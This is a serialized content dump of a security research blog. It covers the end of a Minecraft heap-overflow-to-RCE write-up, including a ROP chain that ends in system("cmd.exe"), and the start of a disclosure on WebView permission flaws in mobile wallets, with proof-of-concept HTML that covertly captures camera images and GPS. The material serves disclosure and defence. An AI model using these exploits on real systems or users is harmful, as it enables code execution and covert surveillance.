\"system\")",{"type":28,"value":153597}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":64,"props":153599,"children":153601},{"className":153600},[],[153602],{"type":28,"value":129284},{"type":28,"value":153604}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":153606,"children":153607},{},[153608],{"type":28,"value":153609},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":435,"props":153611,"children":153613},{"code":153612,"language":16957,"meta":7,"className":16958,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[153614],{"type":23,"tag":64,"props":153615,"children":153616},{"__ignoreMap":7},[153617,153625,153633,153658,153666,153674,153681,153689,153697,153724,153737,153750,153771,153800,153829,153836,153844,153857,153865,153901,153909,153916,153924,153931,153956,153967,153979],{"type":23,"tag":481,"props":153618,"children":153619},{"class":483,"line":484},[153620],{"type":23,"tag":481,"props":153621,"children":153622},{"style":488},[153623],{"type":28,"value":153624},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":481,"props":153626,"children":153627},{"class":483,"line":351},[153628],{"type":23,"tag":481,"props":153629,"children":153630},{"style":525},[153631],{"type":28,"value":153632},"rop.gadget(pop_r8)\n",{"type":23,"tag":481,"props":153634,"children":153635},{"class":483,"line":531},[153636,153641,153645,153650,153654],{"type":23,"tag":481,"props":153637,"children":153638},{"style":525},[153639],{"type":28,"value":153640},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":481,"props":153642,"children":153643},{"style":514},[153644],{"type":28,"value":1876},{"type":23,"tag":481,"props":153646,"children":153647},{"style":497},[153648],{"type":28,"value":153649}," 0x",{"type":23,"tag":481,"props":153651,"children":153652},{"style":551},[153653],{"type":28,"value":132401},{"type":23,"tag":481,"props":153655,"children":153656},{"style":525},[153657],{"type":28,"value":675},{"type":23,"tag":481,"props":153659,"children":153660},{"class":483,"line":567},[153661],{"type":23,"tag":481,"props":153662,"children":153663},{"style":488},[153664],{"type":28,"value":153665},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":481,"props":153667,"children":153668},{"class":483,"line":678},[153669],{"type":23,"tag":481,"props":153670,"children":153671},{"style":525},[153672],{"type":28,"value":153673},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":481,"props":153675,"children":153676},{"class":483,"line":784},[153677],{"type":23,"tag":481,"props":153678,"children":153679},{"emptyLinePlaceholder":15},[153680],{"type":28,"value":1210},{"type":23,"tag":481,"props":153682,"children":153683},{"class":483,"line":812},[153684],{"type":23,"tag":481,"props":153685,"children":153686},{"style":488},[153687],{"type":28,"value":153688},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":481,"props":153690,"children":153691},{"class":483,"line":825},[153692],{"type":23,"tag":481,"props":153693,"children":153694},{"style":525},[153695],{"type":28,"value":153696},"rop.gadget(pop_rcx)\n",{"type":23,"tag":481,"props":153698,"children":153699},{"class":483,"line":843},[153700,153705,153710,153715,153719],{"type":23,"tag":481,"props":153701,"children":153702},{"style":525},[153703],{"type":28,"value":153704},"rop.gadget(",{"type":23,"tag":481,"props":153706,"children":153707},{"style":497},[153708],{"type":28,"value":153709},"0x",{"type":23,"tag":481,"props":153711,"children":153712},{"style":551},[153713],{"type":28,"value":153714},"7468B68",{"type":23,"tag":481,"props":153716,"children":153717},{"style":525},[153718],{"type":28,"value":598},{"type":23,"tag":481,"props":153720,"children":153721},{"style":488},[153722],{"type":28,"value":153723},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":481,"props":153725,"children":153726},{"class":483,"line":864},[153727,153732],{"type":23,"tag":481,"props":153728,"children":153729},{"style":525},[153730],{"type":28,"value":153731},"rop.gadget(ret) ",{"type":23,"tag":481,"props":153733,"children":153734},{"style":488},[153735],{"type":28,"value":153736},"# movaps alignment\n",{"type":23,"tag":481,"props":153738,"children":153739},{"class":483,"line":873},[153740,153745],{"type":23,"tag":481,"props":153741,"children":153742},{"style":525},[153743],{"type":28,"value":153744},"rop.gadget(push_rax_ret) ",{"type":23,"tag":481,"props":153746,"children":153747},{"style":488},[153748],{"type":28,"value":153749},"# calls `GetModuleHandle`\n",{"type":23,"tag":481,"props":153751,"children":153752},{"class":483,"line":1125},[153753,153758,153762,153767],{"type":23,"tag":481,"props":153754,"children":153755},{"style":525},[153756],{"type":28,"value":153757},"rop.literal(u64(",{"type":23,"tag":481,"props":153759,"children":153760},{"style":497},[153761],{"type":28,"value":739},{"type":23,"tag":481,"props":153763,"children":153764},{"style":1805},[153765],{"type":28,"value":153766},"\"ucrtbase\"",{"type":23,"tag":481,"props":153768,"children":153769},{"style":525},[153770],{"type":28,"value":17209},{"type":23,"tag":481,"props":153772,"children":153773},{"class":483,"line":1142},[153774,153778,153782,153787,153792,153796],{"type":23,"tag":481,"props":153775,"children":153776},{"style":525},[153777],{"type":28,"value":153757},{"type":23,"tag":481,"props":153779,"children":153780},{"style":497},[153781],{"type":28,"value":739},{"type":23,"tag":481,"props":153783,"children":153784},{"style":1805},[153785],{"type":28,"value":153786},"\".dll",{"type":23,"tag":481,"props":153788,"children":153789},{"style":45898},[153790],{"type":28,"value":153791},"\\x00\\x00\\x00\\x00",{"type":23,"tag":481,"props":153793,"children":153794},{"style":1805},[153795],{"type":28,"value":17557},{"type":23,"tag":481,"props":153797,"children":153798},{"style":525},[153799],{"type":28,"value":17209},{"type":23,"tag":481,"props":153801,"children":153802},{"class":483,"line":1159},[153803,153807,153811,153816,153821,153825],{"type":23,"tag":481,"props":153804,"children":153805},{"style":525},[153806],{"type":28,"value":153757},{"type":23,"tag":481,"props":153808,"children":153809},{"style":497},[153810],{"type":28,"value":739},{"type":23,"tag":481,"props":153812,"children":153813},{"style":1805},[153814],{"type":28,"value":153815},"\"system",{"type":23,"tag":481,"props":153817,"children":153818},{"style":45898},[153819],{"type":28,"value":153820},"\\x00\\x00",{"type":23,"tag":481,"props":153822,"children":153823},{"style":1805},[153824],{"type":28,"value":17557},{"type":23,"tag":481,"props":153826,"children":153827},{"style":525},[153828],{"type":28,"value":17209},{"type":23,"tag":481,"props":153830,"children":153831},{"class":483,"line":1172},[153832],{"type":23,"tag":481,"props":153833,"children":153834},{"emptyLinePlaceholder":15},[153835],{"type":28,"value":1210},{"type":23,"tag":481,"props":153837,"children":153838},{"class":483,"line":1181},[153839],{"type":23,"tag":481,"props":153840,"children":153841},{"style":488},[153842],{"type":28,"value":153843},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":481,"props":153845,"children":153846},{"class":483,"line":1204},[153847,153852],{"type":23,"tag":481,"props":153848,"children":153849},{"style":525},[153850],{"type":28,"value":153851},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":481,"props":153853,"children":153854},{"style":488},[153855],{"type":28,"value":153856},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":481,"props":153858,"children":153859},{"class":483,"line":1213},[153860],{"type":23,"tag":481,"props":153861,"children":153862},{"style":525},[153863],{"type":28,"value":153864},"rop.gadget(pop_rdx)\n",{"type":23,"tag":481,"props":153866,"children":153867},{"class":483,"line":1222},[153868,153872,153876,153880,153884,153888,153892,153896],{"type":23,"tag":481,"props":153869,"children":153870},{"style":525},[153871],{"type":28,"value":153704},{"type":23,"tag":481,"props":153873,"children":153874},{"style":497},[153875],{"type":28,"value":153709},{"type":23,"tag":481,"props":153877,"children":153878},{"style":551},[153879],{"type":28,"value":153714},{"type":23,"tag":481,"props":153881,"children":153882},{"style":514},[153883],{"type":28,"value":6385},{"type":23,"tag":481,"props":153885,"children":153886},{"style":497},[153887],{"type":28,"value":153649},{"type":23,"tag":481,"props":153889,"children":153890},{"style":551},[153891],{"type":28,"value":86785},{"type":23,"tag":481,"props":153893,"children":153894},{"style":525},[153895],{"type":28,"value":598},{"type":23,"tag":481,"props":153897,"children":153898},{"style":488},[153899],{"type":28,"value":153900},"# offset of \"system\" string\n",{"type":23,"tag":481,"props":153902,"children":153903},{"class":483,"line":1291},[153904],{"type":23,"tag":481,"props":153905,"children":153906},{"style":525},[153907],{"type":28,"value":153908},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":481,"props":153910,"children":153911},{"class":483,"line":1299},[153912],{"type":23,"tag":481,"props":153913,"children":153914},{"emptyLinePlaceholder":15},[153915],{"type":28,"value":1210},{"type":23,"tag":481,"props":153917,"children":153918},{"class":483,"line":1329},[153919],{"type":23,"tag":481,"props":153920,"children":153921},{"style":488},[153922],{"type":28,"value":153923},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":481,"props":153925,"children":153926},{"class":483,"line":1337},[153927],{"type":23,"tag":481,"props":153928,"children":153929},{"style":525},[153930],{"type":28,"value":153696},{"type":23,"tag":481,"props":153932,"children":153933},{"class":483,"line":1369},[153934,153938,153942,153947,153951],{"type":23,"tag":481,"props":153935,"children":153936},{"style":525},[153937],{"type":28,"value":153704},{"type":23,"tag":481,"props":153939,"children":153940},{"style":497},[153941],{"type":28,"value":153709},{"type":23,"tag":481,"props":153943,"children":153944},{"style":551},[153945],{"type":28,"value":153946},"7468DB8",{"type":23,"tag":481,"props":153948,"children":153949},{"style":525},[153950],{"type":28,"value":598},{"type":23,"tag":481,"props":153952,"children":153953},{"style":488},[153954],{"type":28,"value":153955},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":481,"props":153957,"children":153958},{"class":483,"line":1377},[153959,153963],{"type":23,"tag":481,"props":153960,"children":153961},{"style":525},[153962],{"type":28,"value":153731},{"type":23,"tag":481,"props":153964,"children":153965},{"style":488},[153966],{"type":28,"value":153736},{"type":23,"tag":481,"props":153968,"children":153969},{"class":483,"line":1437},[153970,153974],{"type":23,"tag":481,"props":153971,"children":153972},{"style":525},[153973],{"type":28,"value":153744},{"type":23,"tag":481,"props":153975,"children":153976},{"style":488},[153977],{"type":28,"value":153978},"# calls `system`\n",{"type":23,"tag":481,"props":153980,"children":153981},{"class":483,"line":6528},[153982,153986,153990,153995,154000,154004],{"type":23,"tag":481,"props":153983,"children":153984},{"style":525},[153985],{"type":28,"value":153757},{"type":23,"tag":481,"props":153987,"children":153988},{"style":497},[153989],{"type":28,"value":739},{"type":23,"tag":481,"props":153991,"children":153992},{"style":1805},[153993],{"type":28,"value":153994},"\"cmd.exe",{"type":23,"tag":481,"props":153996,"children":153997},{"style":45898},[153998],{"type":28,"value":153999},"\\x00",{"type":23,"tag":481,"props":154001,"children":154002},{"style":1805},[154003],{"type":28,"value":17557},{"type":23,"tag":481,"props":154005,"children":154006},{"style":525},[154007],{"type":28,"value":17209},{"type":23,"tag":7092,"props":154009,"children":154011},{"id":154010},"demo",[154012],{"type":28,"value":154013},"Demo",{"type":23,"tag":24,"props":154015,"children":154016},{},[154017],{"type":28,"value":154018},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":129390,"props":154020,"children":154023},{"className":154021,"controls":15},[139357,154022],"blog-video-wide",[154024,154025,154029],{"type":28,"value":139360},{"type":23,"tag":138596,"props":154026,"children":154028},{"src":154027,"type":129388},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":139366},{"type":23,"tag":31,"props":154031,"children":154032},{"id":26445},[154033],{"type":28,"value":16443},{"type":23,"tag":24,"props":154035,"children":154036},{},[154037],{"type":28,"value":154038},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":154040,"children":154041},{},[154042],{"type":28,"value":154043},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":154045,"children":154046},{},[154047],{"type":28,"value":154048},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":2918,"props":154050,"children":154051},{},[154052],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":154054},[154055,154059,154064,154075],{"id":144715,"depth":351,"text":144718,"children":154056},[154057,154058],{"id":144750,"depth":531,"text":144753},{"id":144766,"depth":531,"text":144769},{"id":144787,"depth":351,"text":144790,"children":154060},[154061,154062,154063],{"id":144803,"depth":531,"text":144806},{"id":144891,"depth":531,"text":144894},{"id":147191,"depth":531,"text":147194},{"id":54,"depth":351,"text":57,"children":154065},[154066,154067,154068,154069,154070,154071,154072,154073,154074],{"id":147298,"depth":531,"text":147301},{"id":147323,"depth":531,"text":147326},{"id":147460,"depth":531,"text":147463},{"id":149624,"depth":531,"text":149627},{"id":149986,"depth":531,"text":149989},{"id":150806,"depth":531,"text":150809},{"id":152920,"depth":531,"text":152923},{"id":153538,"depth":531,"text":153541},{"id":154010,"depth":531,"text":154013},{"id":26445,"depth":351,"text":16443},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":154080,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":154081,"description":154082,"date":154083,"author":154084,"image":154086,"isFeatured":15,"onBlogPage":15,"tags":154088,"body":154090,"_type":358,"_id":156413,"_source":360,"_file":156414,"_stem":156415,"_extension":363},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[28716,28715,154085],"nikolaos",{"src":154087,"width":94800,"height":11111},"/posts/insecure-webview-integrations/title.png",[29656,129496,154089],"webview",{"type":20,"children":154091,"toc":156400},[154092,154097,154102,154108,154113,154118,154123,154129,154134,154140,154162,154175,154195,154209,154215,154229,154237,154242,154248,154253,154262,154283,154427,154432,154438,154443,154448,154462,154466,154471,154489,155917,155921,155926,155938,155947,155952,155958,155980,155988,155993,155999,156004,156022,156027,156033,156046,156328,156356,156369,156374,156387,156391,156396],{"type":23,"tag":24,"props":154093,"children":154094},{},[154095],{"type":28,"value":154096},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":154098,"children":154099},{},[154100],{"type":28,"value":154101},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":32890,"props":154103,"children":154105},{"id":154104},"exploiting-mobile-webviews",[154106],{"type":28,"value":154107},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":154109,"children":154110},{},[154111],{"type":28,"value":154112},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":154114,"children":154115},{},[154116],{"type":28,"value":154117},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":154119,"children":154120},{},[154121],{"type":28,"value":154122},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":31,"props":154124,"children":154126},{"id":154125},"handling-webview-permissions",[154127],{"type":28,"value":154128},"Handling WebView permissions",{"type":23,"tag":24,"props":154130,"children":154131},{},[154132],{"type":28,"value":154133},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":7092,"props":154135,"children":154137},{"id":154136},"android",[154138],{"type":28,"value":154139},"Android",{"type":23,"tag":24,"props":154141,"children":154142},{},[154143,154145,154152,154154,154160],{"type":28,"value":154144},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":190,"props":154146,"children":154149},{"href":154147,"rel":154148},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[194],[154150],{"type":28,"value":154151},"onPermissionRequest",{"type":28,"value":154153},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":64,"props":154155,"children":154157},{"className":154156},[],[154158],{"type":28,"value":154159},"PermissionRequest",{"type":28,"value":154161}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":426,"props":154163,"children":154164},{},[154165],{"type":23,"tag":24,"props":154166,"children":154167},{},[154168,154170,154173],{"type":28,"value":154169},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":481,"props":154171,"children":154172},{},[],{"type":28,"value":154174},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":154176,"children":154177},{},[154178,154180,154186,154188,154194],{"type":28,"value":154179},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":64,"props":154181,"children":154183},{"className":154182},[],[154184],{"type":28,"value":154185},"getOrigin()",{"type":28,"value":154187}," and the requested permissions with ",{"type":23,"tag":64,"props":154189,"children":154191},{"className":154190},[],[154192],{"type":28,"value":154193},"getResources()",{"type":28,"value":199},{"type":23,"tag":24,"props":154196,"children":154197},{},[154198,154200,154207],{"type":28,"value":154199},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":190,"props":154201,"children":154204},{"href":154202,"rel":154203},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[194],[154205],{"type":28,"value":154206},"webview_shell",{"type":28,"value":154208},". In this instance, no origin checks are performed.",{"type":23,"tag":7092,"props":154210,"children":154212},{"id":154211},"ios",[154213],{"type":28,"value":154214},"iOS",{"type":23,"tag":24,"props":154216,"children":154217},{},[154218,154220,154227],{"type":28,"value":154219},"On the contrary, iOS ",{"type":23,"tag":190,"props":154221,"children":154224},{"href":154222,"rel":154223},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[194],[154225],{"type":28,"value":154226},"documentation",{"type":28,"value":154228}," states that:",{"type":23,"tag":426,"props":154230,"children":154231},{},[154232],{"type":23,"tag":24,"props":154233,"children":154234},{},[154235],{"type":28,"value":154236},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":154238,"children":154239},{},[154240],{"type":28,"value":154241},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":31,"props":154243,"children":154245},{"id":154244},"the-shortcomings-of-webview-implementations",[154246],{"type":28,"value":154247},"The shortcomings of WebView implementations",{"type":23,"tag":24,"props":154249,"children":154250},{},[154251],{"type":28,"value":154252},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":28861,"props":154254,"children":154255},{"style":28863},[154256],{"type":23,"tag":149,"props":154257,"children":154261},{"src":154258,"alt":154259,"style":154260},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":154263,"children":154264},{},[154265,154267,154273,154275,154281],{"type":28,"value":154266},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":64,"props":154268,"children":154270},{"className":154269},[],[154271],{"type":28,"value":154272},"react-native-webview",{"type":28,"value":154274},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":190,"props":154276,"children":154279},{"href":154277,"rel":154278},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[194],[154280],{"type":28,"value":154151},{"type":28,"value":154282}," method, we see a similar pattern.",{"type":23,"tag":435,"props":154284,"children":154288},{"className":154285,"code":154286,"language":154287,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[154289],{"type":23,"tag":64,"props":154290,"children":154291},{"__ignoreMap":7},[154292,154300,154329,154389,154409,154420],{"type":23,"tag":481,"props":154293,"children":154294},{"class":483,"line":484},[154295],{"type":23,"tag":481,"props":154296,"children":154297},{"style":488},[154298],{"type":28,"value":154299},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":481,"props":154301,"children":154302},{"class":483,"line":351},[154303,154307,154311,154316,154320,154325],{"type":23,"tag":481,"props":154304,"children":154305},{"style":535},[154306],{"type":28,"value":13069},{"type":23,"tag":481,"props":154308,"children":154309},{"style":525},[154310],{"type":28,"value":578},{"type":23,"tag":481,"props":154312,"children":154313},{"style":508},[154314],{"type":28,"value":154315},"requestedAndroidPermissions",{"type":23,"tag":481,"props":154317,"children":154318},{"style":525},[154319],{"type":28,"value":199},{"type":23,"tag":481,"props":154321,"children":154322},{"style":610},[154323],{"type":28,"value":154324},"isEmpty",{"type":23,"tag":481,"props":154326,"children":154327},{"style":525},[154328],{"type":28,"value":89553},{"type":23,"tag":481,"props":154330,"children":154331},{"class":483,"line":531},[154332,154337,154341,154346,154350,154355,154359,154364,154368,154372,154377,154381,154385],{"type":23,"tag":481,"props":154333,"children":154334},{"style":508},[154335],{"type":28,"value":154336}," request",{"type":23,"tag":481,"props":154338,"children":154339},{"style":525},[154340],{"type":28,"value":199},{"type":23,"tag":481,"props":154342,"children":154343},{"style":610},[154344],{"type":28,"value":154345},"grant",{"type":23,"tag":481,"props":154347,"children":154348},{"style":525},[154349],{"type":28,"value":618},{"type":23,"tag":481,"props":154351,"children":154352},{"style":508},[154353],{"type":28,"value":154354},"grantedPermissions",{"type":23,"tag":481,"props":154356,"children":154357},{"style":525},[154358],{"type":28,"value":199},{"type":23,"tag":481,"props":154360,"children":154361},{"style":610},[154362],{"type":28,"value":154363},"toArray",{"type":23,"tag":481,"props":154365,"children":154366},{"style":525},[154367],{"type":28,"value":618},{"type":23,"tag":481,"props":154369,"children":154370},{"style":535},[154371],{"type":28,"value":12611},{"type":23,"tag":481,"props":154373,"children":154374},{"style":943},[154375],{"type":28,"value":154376}," String",{"type":23,"tag":481,"props":154378,"children":154379},{"style":525},[154380],{"type":28,"value":1269},{"type":23,"tag":481,"props":154382,"children":154383},{"style":551},[154384],{"type":28,"value":1568},{"type":23,"tag":481,"props":154386,"children":154387},{"style":525},[154388],{"type":28,"value":101044},{"type":23,"tag":481,"props":154390,"children":154391},{"class":483,"line":567},[154392,154397,154401,154405],{"type":23,"tag":481,"props":154393,"children":154394},{"style":525},[154395],{"type":28,"value":154396}," grantedPermissions ",{"type":23,"tag":481,"props":154398,"children":154399},{"style":514},[154400],{"type":28,"value":603},{"type":23,"tag":481,"props":154402,"children":154403},{"style":497},[154404],{"type":28,"value":67799},{"type":23,"tag":481,"props":154406,"children":154407},{"style":525},[154408],{"type":28,"value":528},{"type":23,"tag":481,"props":154410,"children":154411},{"class":483,"line":678},[154412,154416],{"type":23,"tag":481,"props":154413,"children":154414},{"style":535},[154415],{"type":28,"value":14481},{"type":23,"tag":481,"props":154417,"children":154418},{"style":525},[154419],{"type":28,"value":528},{"type":23,"tag":481,"props":154421,"children":154422},{"class":483,"line":784},[154423],{"type":23,"tag":481,"props":154424,"children":154425},{"style":525},[154426],{"type":28,"value":1443},{"type":23,"tag":24,"props":154428,"children":154429},{},[154430],{"type":28,"value":154431},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":7092,"props":154433,"children":154435},{"id":154434},"real-world-exploitation",[154436],{"type":28,"value":154437},"Real world exploitation",{"type":23,"tag":24,"props":154439,"children":154440},{},[154441],{"type":28,"value":154442},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":154444,"children":154445},{},[154446],{"type":28,"value":154447},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":154449,"children":154450},{},[154451,154453,154460],{"type":28,"value":154452},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":190,"props":154454,"children":154457},{"href":154455,"rel":154456},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[194],[154458],{"type":28,"value":154459},"Justson",{"type":28,"value":154461},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":16388,"props":154463,"children":154464},{"id":37023},[154465],{"type":28,"value":32346},{"type":23,"tag":24,"props":154467,"children":154468},{},[154469],{"type":28,"value":154470},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":73,"props":154472,"children":154473},{},[154474,154479,154484],{"type":23,"tag":77,"props":154475,"children":154476},{},[154477],{"type":28,"value":154478},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":77,"props":154480,"children":154481},{},[154482],{"type":28,"value":154483},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":77,"props":154485,"children":154486},{},[154487],{"type":28,"value":154488},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":435,"props":154490,"children":154492},{"className":47547,"code":154491,"language":29898,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[154493],{"type":23,"tag":64,"props":154494,"children":154495},{"__ignoreMap":7},[154496,154516,154531,154547,154577,154600,154615,154630,154662,154708,154744,154772,154787,154833,154879,154887,154955,154983,154998,155006,155013,155033,155093,155134,155163,155204,155211,155240,155278,155315,155322,155329,155362,155383,155390,155452,155508,155544,155590,155598,155605,155648,155681,155806,155839,155846,155853,155860,155872,155887,155902],{"type":23,"tag":481,"props":154497,"children":154498},{"class":483,"line":484},[154499,154503,154507,154512],{"type":23,"tag":481,"props":154500,"children":154501},{"style":29891},[154502],{"type":28,"value":31742},{"type":23,"tag":481,"props":154504,"children":154505},{"style":497},[154506],{"type":28,"value":31747},{"type":23,"tag":481,"props":154508,"children":154509},{"style":508},[154510],{"type":28,"value":154511}," 